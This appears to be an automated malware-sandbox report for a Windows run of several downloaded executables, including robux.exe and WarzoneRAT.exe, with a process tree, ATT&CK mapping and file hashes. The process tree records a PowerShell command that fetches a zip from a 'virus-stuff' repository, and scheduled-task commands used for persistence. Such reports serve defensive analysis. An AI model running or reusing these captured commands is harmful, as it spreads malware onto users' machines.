  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3632 /prefetch:1
  2⤵
  PID:5420
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4128 /prefetch:1
  2⤵
  PID:5368
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5696 /prefetch:1
  2⤵
  PID:5744
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5848 /prefetch:1
  2⤵
  PID:5716
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5188 /prefetch:1
  2⤵
  PID:1980
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6080 /prefetch:1
  2⤵
  PID:1376
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5608 /prefetch:8
  2⤵
  PID:1800
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3572 /prefetch:1
  2⤵
  PID:4664
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6400 /prefetch:8
  2⤵
  PID:244
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2760 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4448
- C:\Users\Admin\Downloads\robux.exe
  "C:\Users\Admin\Downloads\robux.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5868
- - C:\Windows\system32\cmd.exe
    "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\FE9F.tmp\FEA0.tmp\FEA1.bat C:\Users\Admin\Downloads\robux.exe"
    3⤵
    PID:2504
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Invoke-WebRequest https://github.com/astrohnugget/virus-stuff/archive/refs/heads/main.zip -outfile robux2.zip"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5588
  - - C:\Windows\system32\timeout.exe
      timeout /t 10 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5720
  - - C:\Windows\system32\timeout.exe
      timeout /t 20 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5360
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4228 /prefetch:1
  2⤵
  PID:1904
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3676 /prefetch:1
  2⤵
  PID:5260
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2324 /prefetch:1
  2⤵
  PID:3588
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1808 /prefetch:1
  2⤵
  PID:4964
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1760 /prefetch:1
  2⤵
  PID:4312
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=6656 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1572
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4016 /prefetch:1
  2⤵
  PID:6068
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6656 /prefetch:1
  2⤵
  PID:4448
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1976 /prefetch:1
  2⤵
  PID:3440
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3544 /prefetch:1
  2⤵
  PID:5720
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5292 /prefetch:1
  2⤵
  PID:1712
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3188 /prefetch:1
  2⤵
  PID:4412
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6592 /prefetch:1
  2⤵
  PID:5104
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7132 /prefetch:1
  2⤵
  PID:3040
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5108 /prefetch:1
  2⤵
  PID:3632
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5592 /prefetch:1
  2⤵
  PID:5416
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=41 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6640 /prefetch:1
  2⤵
  PID:5488
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6580 /prefetch:8
  2⤵
  PID:2968
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5116 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5592
- C:\Users\Admin\Downloads\WarzoneRAT.exe
  "C:\Users\Admin\Downloads\WarzoneRAT.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4432
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\jFvfxe" /XML "C:\Users\Admin\AppData\Local\Temp\tmp2150.tmp"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:5744
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:4128
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:892
- C:\Users\Admin\Downloads\WarzoneRAT.exe
  "C:\Users\Admin\Downloads\WarzoneRAT.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4412
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\jFvfxe" /XML "C:\Users\Admin\AppData\Local\Temp\tmp2845.tmp"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:3248
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2952
- C:\Users\Admin\Downloads\WarzoneRAT.exe
  "C:\Users\Admin\Downloads\WarzoneRAT.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1996
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\jFvfxe" /XML "C:\Users\Admin\AppData\Local\Temp\tmp2D46.tmp"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4972
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:880
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7060 /prefetch:1
  2⤵
  PID:2208
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=46 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6404 /prefetch:1
  2⤵
  PID:396
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=48 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6612 /prefetch:1
  2⤵
  PID:5680
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6948 /prefetch:8
  2⤵
  PID:3620
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2832 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5256
- C:\Users\Admin\Downloads\CookieClickerHack.exe
  "C:\Users\Admin\Downloads\CookieClickerHack.exe"
  2⤵
  - Executes dropped EXE
  PID:3352
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=52 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5608 /prefetch:1
  2⤵
  PID:4860
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6440 /prefetch:8
  2⤵
  PID:884
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5100 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5724
- C:\Users\Admin\Downloads\Popup.exe
  "C:\Users\Admin\Downloads\Popup.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of SetWindowsHookEx
  PID:5332
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=56 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6088 /prefetch:1
  2⤵
  PID:1560
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6612 /prefetch:8
  2⤵
  PID:3900
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6772 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1704
- C:\Users\Admin\Downloads\Melting.exe
  "C:\Users\Admin\Downloads\Melting.exe"
  2⤵
  - Executes dropped EXE
  PID:5624

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3960

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4944

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k UnistackSvcGroup
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3116

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\WarzoneRAT.exe.log

Filesize
507B

MD5
8cf94b5356be60247d331660005941ec

SHA1
fdedb361f40f22cb6a086c808fc0056d4e421131

SHA256
52a5b2d36f2b72cb02c695cf7ef46444dda73d4ea82a73e0894c805fa9987bc0

SHA512
b886dfc8bf03f8627f051fb6e2ac40ae2e7713584695a365728eb2e2c87217830029aa35bd129c642fa03dde3f7a7dd5690b16248676be60a6bb5f497fb23651

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
443a627d539ca4eab732bad0cbe7332b

SHA1
86b18b906a1acd2a22f4b2c78ac3564c394a9569

SHA256
1e1ad9dce141f5f17ea07c7e9c2a65e707c9943f172b9134b0daf9eef25f0dc9

SHA512
923b86d75a565c91250110162ce13dd3ef3f6bdde1a83f7af235ed302d4a96b8c9ed722e2152781e699dfcb26bb98afc73f5adb298f8fd673f14c9f28b5f764d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000002

Filesize
47KB

MD5
0d89f546ebdd5c3eaa275ff1f898174a

SHA1
339ab928a1a5699b3b0c74087baa3ea08ecd59f5

SHA256
939eb90252495d3af66d9ec34c799a5f1b0fc10422a150cf57fc0cd302865a3e

SHA512
26edc1659325b1c5cf6e3f3cd9a38cd696f67c4a7c2d91a5839e8dcbb64c4f8e9ce3222e0f69d860d088c4be01b69da676bdc4517de141f8b551774909c30690

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000003

Filesize
62KB

MD5
c813a1b87f1651d642cdcad5fca7a7d8

SHA1
0e6628997674a7dfbeb321b59a6e829d0c2f4478

SHA256
df670e09f278fea1d0684afdcd0392a83d7041585ba5996f7b527974d7d98ec3

SHA512
af0d024ba1faafbd6f950c67977ed126827180a47cea9758ee51a95d13436f753eb5a7aa12a9090048a70328f6e779634c612aebde89b06740ffd770751e1c5b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000004

Filesize
67KB

MD5
69df804d05f8b29a88278b7d582dd279

SHA1
d9560905612cf656d5dd0e741172fb4cd9c60688

SHA256
b885987a52236f56ce7a5ca18b18533e64f62ab64eb14050ede93c93b5bd5608

SHA512
0ef49eeeeb463da832f7d5b11f6418baa65963de62c00e71d847183e0035be03e63c097103d30329582fe806d246e3c0e3ecab8b2498799abbb21d8b7febdc0e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000005

Filesize
19KB

MD5
1bd4ae71ef8e69ad4b5ffd8dc7d2dcb5

SHA1
6dd8803e59949c985d6a9df2f26c833041a5178c

SHA256
af18b3681e8e2a1e8dc34c2aa60530dc8d8a9258c4d562cbe20c898d5de98725

SHA512
b3ff083b669aca75549396250e05344ba2f1c021468589f2bd6f1b977b7f11df00f958bbbd22f07708b5d30d0260f39d8de57e75382b3ab8e78a2c41ef428863

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000006

Filesize
63KB

MD5
226541550a51911c375216f718493f65

SHA1
f6e608468401f9384cabdef45ca19e2afacc84bd

SHA256
caecff4179910ce0ff470f9fa9eb4349e8fb717fa1432cf19987450a4e1ef4a5

SHA512
2947b309f15e0e321beb9506861883fde8391c6f6140178c7e6ee7750d6418266360c335477cae0b067a6a6d86935ec5f7acdfdacc9edffa8b04ec71be210516

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000007

Filesize
26KB

MD5
8ce06435dd74849daee31c8ab278ce07

SHA1
a8e754c3a39e0f1056044cbdb743a144bdf25564

SHA256
303074dab603456b6ed26e7e6e667d52c89ab16e6db5e6a9339205ce1f6c1709

SHA512
49e99bffcdf02cfe8cef0e8ef4b121c75d365ab0bbc67c3a3af4cf199cc46e27ab2a9fdf32590697b15b0a58ee2b7a433fe962455cf91f9a404e891e73a26f59

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000009

Filesize
38KB

MD5
adf2df4a8072227a229a3f8cf81dc9df

SHA1
48b588df27e0a83fa3c56d97d68700170a58bd36

SHA256
2fd56ac4d62fec83843c83054e5548834a19001c077cdb224901237f2e2c0e4c

SHA512
d18ffc9a41157ea96014a503640b3a2a3931f578293e88cc05aa61c8223221d948c05637875d8e3ee5847b6a99341ea22b6a1aee67c170e27bde5e154cf1b9ca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000a

Filesize
37KB

MD5
5873d4dc68262e39277991d929fa0226

SHA1
182eb3a0a6ee99ed84d7228e353705fd2605659a

SHA256
722960c9394405f7d8d0f48b91b49370e4880321c9d5445883aec7a2ca842ab4

SHA512
1ec06c216bfe254afbae0b16905d36adc31e666564f337eb260335ef2985b8c36f02999f93ab379293048226624a59832bfb1f2fa69d94a36c3ca2fdeebcdc3f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000b

Filesize
20KB

MD5
99c59b603e12ae38a2bbc5d4d70c673e

SHA1
50ed7bb3e9644989681562a48b68797c247c3c14

SHA256
0b68cf3fd9c7c7f0f42405091daa1dda71da4a1e92ba17dad29feb00b63ef45f

SHA512
70973ea531ed385b64a3d4cb5b42a9b1145ec884400da1d27f31f79b4597f611dc5d1e32281003132dd22bf74882a937fc504441e5280d055520bfca737cf157

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000c

Filesize
20KB

MD5
edff034579e7216cec4f17c4a25dc896

SHA1
ceb81b5abec4f8c57082a3ae7662a73edf40259f

SHA256
5da4c64f6c1ff595779a560e215cd2511e21823b4e35d88f3ba90270d9244882

SHA512
ab2dcd1628a0d0cadf82eebd123526979e8cf0a2a62f08f1169d4c03b567eca705bd05a36e5ffa4f6c3df393753b03e3daa18122955dde08fd8e5b248694e810

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000d

Filesize
26KB

MD5
525579bebb76f28a5731e8606e80014c

SHA1
73b822370d96e8420a4cdeef1c40ed78a847d8b4

SHA256
f38998984e6b19271846322441f439e231836622e746a2f6577a8848e5eed503

SHA512
18219147fca7306220b6e8231ff85ebeb409c5cc512adff65c04437d0f99582751ccb24b531bbedf21f981c6955c044074a4405702c3a4fae3b9bf435018cc1a

Download Submit
